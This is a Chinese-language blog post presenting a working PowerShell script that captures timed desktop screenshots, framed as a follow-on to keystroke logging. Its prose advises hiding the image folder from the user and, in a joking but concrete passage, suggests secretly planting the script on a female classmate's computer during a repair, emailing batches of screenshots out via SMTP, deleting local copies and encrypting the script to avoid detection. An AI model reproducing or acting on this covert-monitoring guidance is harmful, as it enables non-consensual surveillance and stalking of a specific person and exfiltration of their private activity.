昨天的博文寫了定時記錄操作系統行為,其實說白了就是抓取了擊鍵的記錄和對應窗口的標題欄,而很多應用程序標題欄又包含當時記錄的文件路徑和文件名,用這種方式可以大致記錄操作了哪些程序,打開了哪些文件,以及敲擊了哪些按鍵。事實上這樣記錄操作系統的行為顯得相對單薄一點,因為記錄的內容不太形象,對于新手來說太過于隱晦了,對于人類來說,圖像會比文字更加有利于用戶理解。當操作系統不方便裝屏幕記錄軟件,但又需要看已經登錄用戶在干什么的時候,用PowerShell的腳本來實現定時抓取圖像的方式記錄操作,查看圖像就知道登陸用戶做了什么,當然你存放圖片的目錄要隱蔽,不要讓用戶發現了為好。
當然對于在學校計算機系的屌絲們,這個功能也可以用來了解自己的女神有什么喜好了。什么?咋把腳本安裝到女神的電腦里?咋把抓的圖片返回給你?拜托,這么簡單的問題,還需要我幫你找答案么?女神的電腦壞了,通常都會找一個熟悉電腦軟硬件的計算機系的童鞋來修的,修的時候悄悄動點手腳。圖片返回的問題呢,完全可以定時抓取,然后抓取一定數量之后打包發到指定郵箱,然后刪除本地圖片嘛。什么?不知道PowerShell咋發郵件…你妹的,用System.Net.Mail.MailMessage組件調用SMTP發送郵件你不會?我以前寫過類似文章的…好吧,送佛送到西,自己去看吧《使用PowerShell通過Smtp發送郵件》。還有就是寫的腳本務必要加密,至于加密方式方法嘛,改天吧,改天專門寫一篇文章寫關于PowerShell腳本加密,這種事情嘛,如果被女神發現鳥,那可是吃不了兜著走的事啊。還有出去別告訴別人,我給你出的這主意,還有隱私的東西,自己把握好度,如果警察蜀黍請你去喝茶了可就不好玩了。本故事純屬虛構,如有雷同純屬巧合,本人只提供創意,如果具體實施被女神打破頭,或者被警察蜀黍請去喝茶了,本人概不負任何法律責任哈。嘿嘿,不多扯了,先上今天的定時抓取屏幕圖像的方法。
其實方法不復雜,寫了一個抓取屏幕的函數,定時執行,將抓取的圖片存入指定位置,如果達到終止的時間,結束執行.代碼不復雜,有看不懂的兄弟可以留言,我幫你解答。
=====文件名:Get-TimedScreenshot.ps1=====
function Get-TimedScreenshot {
#
Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
Takes screenshots at a regular interval and saves them to disk.
.PARAMETER Path
Specifies the folder path.
.PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
.Parameter EndTime
Specifies when the script should stop running in the format HH-MM
.Example
Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
#>
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = "$($Time.Month)"
$FileName += '-'
$FileName += "$($Time.Day)"
$FileName += '-'
$FileName += "$($Time.Year)"
$FileName += '-'
$FileName += "$($Time.Hour)"
$FileName += '-'
$FileName += "$($Time.Minute)"
$FileName += '-'
$FileName += "$($Time.Second)"
$FileName += '.png'
#use join-path to add path to filename
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
Get-Screenshot
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}
執行效果,會在指定的目錄,按照時間間隔生成桌面抓圖,類似如下圖所示.